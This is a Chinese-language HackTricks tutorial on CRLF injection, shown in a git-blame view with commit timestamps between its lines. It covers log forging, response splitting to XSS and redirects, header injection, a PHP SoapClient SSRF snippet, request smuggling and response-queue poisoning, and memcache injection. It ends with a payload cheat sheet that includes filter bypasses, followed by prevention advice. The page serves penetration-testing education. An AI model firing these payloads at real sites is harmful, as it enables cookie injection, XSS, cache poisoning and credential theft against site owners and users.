2023-08-03 19:12:22 +00:00
# CRLF (%0D%0A)注入
2022-04-28 16:01:33 +00:00
< details >
2023-08-03 19:12:22 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks云 ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 推特 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-08-22 10:47:40 +00:00
* 你在一家**网络安全公司**工作吗? 想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
2023-08-30 09:57:28 +00:00
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )
2023-08-16 05:11:08 +00:00
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
2023-08-30 09:57:28 +00:00
* **加入** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord群组** ](https://discord.gg/hRep4RUj7f ) 或 [**Telegram群组** ](https://t.me/peass ) 或 **关注**我在**Twitter**上的[** 🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**hacktricks repo** ](https://github.com/carlospolop/hacktricks ) **和** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **提交PR来分享你的黑客技巧。**
2022-04-28 16:01:33 +00:00
< / details >
2023-08-30 09:57:28 +00:00
< img src = "../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt = "" data-size = "original" >
2022-05-24 00:07:19 +00:00
2023-08-30 09:57:28 +00:00
如果你对**黑客职业**感兴趣并想要攻破不可攻破的东西- **我们正在招聘!** (需要流利的波兰语书面和口语表达能力)。
2022-04-28 16:01:33 +00:00
2022-05-24 00:07:19 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2023-08-03 19:12:22 +00:00
## 什么是CRLF?
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
当浏览器向Web服务器发送请求时, Web服务器会回复一个包含HTTP响应头和实际网站内容( 即响应体) 的响应。HTTP头和HTML响应( 网站内容) 由特定的特殊字符组合分隔, 即回车和换行符。简称为CRLF。
2020-07-15 15:43:14 +00:00
2023-08-30 09:57:28 +00:00
Web服务器使用CRLF来理解新的HTTP头开始和另一个HTTP头结束的位置。CRLF还可以告诉Web应用程序或用户文件或文本块中的新行开始。CRLF字符是标准的HTTP/1.1消息, 因此任何类型的Web服务器都使用它, 包括Apache、Microsoft IIS和其他所有服务器。\
来自[https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 什么是CRLF注入漏洞?
2020-07-15 15:43:14 +00:00
2023-08-30 09:57:28 +00:00
在CRLF注入漏洞攻击中, 攻击者将回车和换行符插入用户输入, 以欺骗服务器、Web应用程序或用户认为一个对象已终止并开始另一个对象。因此, CRLF序列不是恶意字符, 但它们可以用于恶意目的, 例如HTTP响应拆分等。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
## Web应用程序中的CRLF注入
2020-07-15 15:43:14 +00:00
2023-08-30 09:57:28 +00:00
在Web应用程序中, CRLF注入可能会产生严重影响, 具体取决于应用程序对单个项目的处理方式。影响可能从信息泄露到代码执行, 直接影响Web应用程序安全漏洞。实际上, CRLF注入攻击可能对Web应用程序产生非常严重的后果, 即使它从未出现在OWASP Top 10列表中。例如, 可以在下面的示例中解释如何操纵管理员面板中的日志文件。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
#### 日志文件中CRLF注入的示例
2020-07-15 15:43:14 +00:00
2023-08-16 05:11:08 +00:00
想象一下, 一个管理员面板中有一个日志文件, 其输出流模式为IP - 时间 - 访问路径,如下所示:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
123.123.123.123 - 08:15 - /index.php?page=home
```
2023-08-03 19:12:22 +00:00
如果攻击者能够将CRLF字符注入到HTTP请求中, 他就能够改变输出流并伪造日志条目。他可以将Web应用程序的响应更改为以下内容:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
/index.php?page=home& %0d%0a127.0.0.1 - 08:15 - /index.php?page=home& restrictedaction=edit
```
2023-08-03 19:12:22 +00:00
%0d and %0a是CR和LF的URL编码形式。因此, 当攻击者插入这些字符并应用程序显示时, 日志条目将如下所示:
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
IP - 时间 - 访问路径
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home& restrictedaction=edit
```
2023-08-03 19:12:22 +00:00
因此, 通过利用CRLF注入漏洞, 攻击者可以伪造日志文件中的条目, 以掩盖自己的恶意行为。攻击者实际上是在进行页面劫持并修改响应。例如, 想象一种情况, 攻击者拥有管理员密码并执行了restrictedaction参数, 该参数只能由管理员使用。
2020-07-15 15:43:14 +00:00
2023-08-30 09:57:28 +00:00
问题在于, 如果管理员注意到一个未知的IP使用了restrictedaction参数, 就会意识到有问题。然而, 由于现在看起来像是命令是由本地主机发出的( 因此可能是有服务器访问权限的人, 比如管理员) , 这看起来并不可疑。
2020-07-15 15:43:14 +00:00
2023-08-22 10:47:40 +00:00
查询的整个部分,从%0d%0a开始的部分, 将被服务器作为一个参数处理。之后还有一个& 符号, 带有restricted action参数, 服务器将将其解析为另一个参数。实际上, 这将是与以下查询相同的查询:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
/index.php?page=home& restrictedaction=edit
```
2023-08-03 19:12:22 +00:00
### HTTP响应拆分
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
#### 描述
2020-07-15 15:43:14 +00:00
2023-08-16 05:11:08 +00:00
由于HTTP响应的头部和主体之间由CRLF字符分隔, 攻击者可以尝试注入这些字符。CRLFCRLF的组合将告诉浏览器头部结束, 主体开始。这意味着攻击者现在可以在响应主体中写入数据, 其中存储了HTML代码。这可能导致跨站脚本漏洞。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
#### HTTP响应拆分导致XSS的示例
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
想象一个设置自定义头部的应用程序,例如:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
X-Your-Name: Bob
```
2023-08-16 05:11:08 +00:00
标题的值是通过一个名为"name"的get参数设置的。如果没有进行URL编码, 并且该值直接反映在标题中, 攻击者可能会插入上述的CRLFCRLF组合, 以告诉浏览器请求体的开始。这样, 他就能够插入诸如XSS有效负载的数据, 例如:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
?name=Bob%0d%0a%0d%0a< script > alert ( document . domain ) < / script >
```
2023-08-03 19:12:22 +00:00
上述代码将在受攻击域的上下文中显示一个警示窗口。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
#### HTTP响应拆分导致重定向的示例
2020-07-15 15:43:14 +00:00
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
2023-08-16 05:11:08 +00:00
浏览器跳转至:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
/%0d%0aLocation:%20http://myweb.com
```
2023-08-03 19:12:22 +00:00
然后服务器响应的头部是:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
Location: http://myweb.com
```
2023-08-03 19:12:22 +00:00
**其他示例:(来自** [**https://www.acunetix.com/websitesecurity/crlf-injection/** ](https://www.acunetix.com/websitesecurity/crlf-injection/ )**) **
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
2023-08-03 19:12:22 +00:00
#### 在URL路径中
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
您可以将负载**放在URL路径中**,以控制服务器的**响应**:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
2021-04-17 15:19:39 +00:00
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
2023-08-03 19:12:22 +00:00
### HTTP头注入
2021-04-17 15:20:44 +00:00
2023-08-03 19:12:22 +00:00
#### 描述
2021-04-17 15:20:44 +00:00
2023-08-22 10:47:40 +00:00
通过利用CRLF注入, 攻击者还可以插入HTTP头, 这可能用于破坏安全机制, 如浏览器的XSS过滤器或同源策略。这使得攻击者可以获取敏感信息, 如CSRF令牌。他还可以设置Cookie, 这可能被利用来登录受害者的帐户, 或者利用其他无法利用的[跨站脚本( XSS) 漏洞](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/)。
2021-04-17 15:20:44 +00:00
2023-08-03 19:12:22 +00:00
#### 一个用于提取敏感数据的HTTP头注入示例
2021-04-17 15:20:44 +00:00
2023-08-03 19:12:22 +00:00
如果攻击者能够注入激活CORS( 跨域资源共享) 的HTTP头, 他可以使用JavaScript访问受同源策略( SOP) 保护的资源, 该策略防止不同源的站点相互访问。
2021-04-17 15:19:39 +00:00
2023-08-16 05:11:08 +00:00
### 在SSRF中创建新的HTTP请求
2021-04-17 15:19:39 +00:00
2023-08-03 19:12:22 +00:00
利用CRLF注入, 您可以**构造一个新的HTTP请求并注入**它。\
2023-08-22 10:47:40 +00:00
一个很好的例子是使用PHP中的`SoapClient`反序列化工具。这个类在`user_agent`参数中**容易受到CRLF注入**的漏洞,允许**插入新的头部和正文内容**。然而,您甚至可以利用这个漏洞来**注入一个新的HTTP请求**:
2021-04-17 15:19:39 +00:00
```php
2023-08-03 19:12:22 +00:00
$target = 'http://127.0.0.1:9090/test';
2021-04-17 15:19:39 +00:00
$post_string = 'variable=post value';
$crlf = array(
2023-08-03 19:12:22 +00:00
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
2021-04-17 15:19:39 +00:00
);
$client = new SoapClient(null,
2023-08-03 19:12:22 +00:00
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
2021-04-17 15:19:39 +00:00
);
#Put a nc listening in port 9090
$client->__soapCall("test", []);
```
2023-08-03 19:12:22 +00:00
### 请求劫持进行请求走私
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
您可以注入必要的标头,以确保**后端在响应初始请求后保持连接打开**:
2022-10-05 09:28:25 +00:00
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
2023-08-03 19:12:22 +00:00
然后,**指定第二个请求**。这里有一个经典的[**请求走私**](http-request-smuggling/),服务器在注入后附加了**额外的**头部/主体。
2022-10-05 09:28:25 +00:00
2023-08-03 19:12:22 +00:00
以下是两种跨用户利用的选项。
2022-10-05 09:28:25 +00:00
2023-08-03 19:12:22 +00:00
指定一个**恶意前缀**, 以污染下一个用户的请求或者一个Web缓存:
2022-10-05 09:28:25 +00:00
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
2023-08-03 19:12:22 +00:00
或者通过构造前缀与尾部垃圾组合,创建一个完整的第二个请求,以触发**响应队列污染**。
2022-10-05 09:28:25 +00:00
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
2023-08-03 19:12:22 +00:00
有关此技术和潜在问题的更多信息,请[**查看原始来源**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)。
2022-10-05 09:28:25 +00:00
2023-08-03 19:12:22 +00:00
### Memcache注入
2023-02-16 13:29:30 +00:00
2023-08-03 19:12:22 +00:00
Memcache是一个使用明文协议的**键值存储**。更多信息请参考:
2023-02-16 13:29:30 +00:00
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache ](../network-services-pentesting/11211-memcache/ )
{% endcontent-ref %}
2023-08-03 19:12:22 +00:00
如果一个平台从HTTP请求中获取数据并在未经过消毒的情况下使用它来执行对memcache服务器的请求, 攻击者可以利用这种行为来**注入新的memcache命令**。
2023-02-16 13:29:30 +00:00
2023-08-22 10:47:40 +00:00
例如, 在最初发现的漏洞中, 缓存键被用于返回用户应连接到的IP和端口, 攻击者能够**注入memcache命令**,以便将受害者的详细信息(包括用户名和密码)发送到攻击者的服务器:
2023-02-16 13:29:30 +00:00
2023-03-28 10:15:00 +00:00
< figure > < img src = "../.gitbook/assets/image (6) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-02-16 13:29:30 +00:00
2023-08-03 19:12:22 +00:00
此外, 研究人员还发现他们可以解除memcache响应, 将攻击者的IP和端口发送给攻击者不知道其电子邮件的用户:
2023-02-16 13:29:30 +00:00
2023-06-06 21:42:32 +00:00
< figure > < img src = "../.gitbook/assets/image (40).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-06-06 22:57:49 +00:00
< figure > < img src = "../.gitbook/assets/image (39).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-08-22 10:47:40 +00:00
**要获取完整信息,请阅读**[**原始报告**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)。
2023-02-16 13:29:30 +00:00
2023-08-03 19:12:22 +00:00
## CRLF注入漏洞的影响
2020-07-15 15:43:14 +00:00
2023-08-16 05:11:08 +00:00
CRLF注入的影响各不相同, 还包括所有跨站脚本攻击和信息泄露的影响。它还可以禁用受害者浏览器中的某些安全限制, 如XSS过滤器和同源策略, 使其容易受到恶意攻击。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 如何预防Web应用中的CRLF / HTTP头注入
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
最佳的预防技术是不直接在响应头中使用用户输入。如果不可能, 应始终使用函数对CRLF特殊字符进行编码。另一个良好的Web应用程序安全最佳实践是将编程语言更新到不允许在设置HTTP头的函数中注入CR和LF的版本。
2020-07-15 15:43:14 +00:00
2022-05-24 00:07:19 +00:00
### CHEATSHEET
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
1. HTTP Response Splitting
2021-06-23 17:08:03 +00:00
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2020-07-15 15:43:14 +00:00
2. CRLF chained with Open Redirect
2023-08-03 19:12:22 +00:00
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
2020-07-15 15:43:14 +00:00
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (< )
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
2023-08-03 19:12:22 +00:00
## 工具
2020-09-11 09:44:53 +00:00
{% embed url="https://github.com/dwisiswant0/crlfuzz" %}
2023-08-03 19:12:22 +00:00
## 暴力破解检测列表
2021-06-27 21:56:13 +00:00
2021-10-18 11:21:18 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt" %}
2021-06-27 21:56:13 +00:00
2023-08-03 19:12:22 +00:00
## 参考资料
2020-07-15 15:43:14 +00:00
2022-04-05 22:24:52 +00:00
* [**https://www.acunetix.com/websitesecurity/crlf-injection/** ](https://www.acunetix.com/websitesecurity/crlf-injection/ )
2023-02-16 13:29:30 +00:00
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning** ](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning )
2022-04-28 16:01:33 +00:00
2023-08-30 09:57:28 +00:00
< img src = "../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt = "" data-size = "original" >
2022-05-24 00:07:19 +00:00
2023-08-30 09:57:28 +00:00
如果您对**黑客职业**感兴趣并想要攻击不可攻破的目标 - **我们正在招聘!** (需要流利的波兰语书面和口语表达能力)。
2022-05-24 00:07:19 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 您在**网络安全公司**工作吗? 您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
2023-08-30 09:57:28 +00:00
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组** ](https://discord.gg/hRep4RUj7f )或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
2023-08-03 19:12:22 +00:00
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **提交PR来分享您的黑客技巧。**
2022-04-28 16:01:33 +00:00
< / details >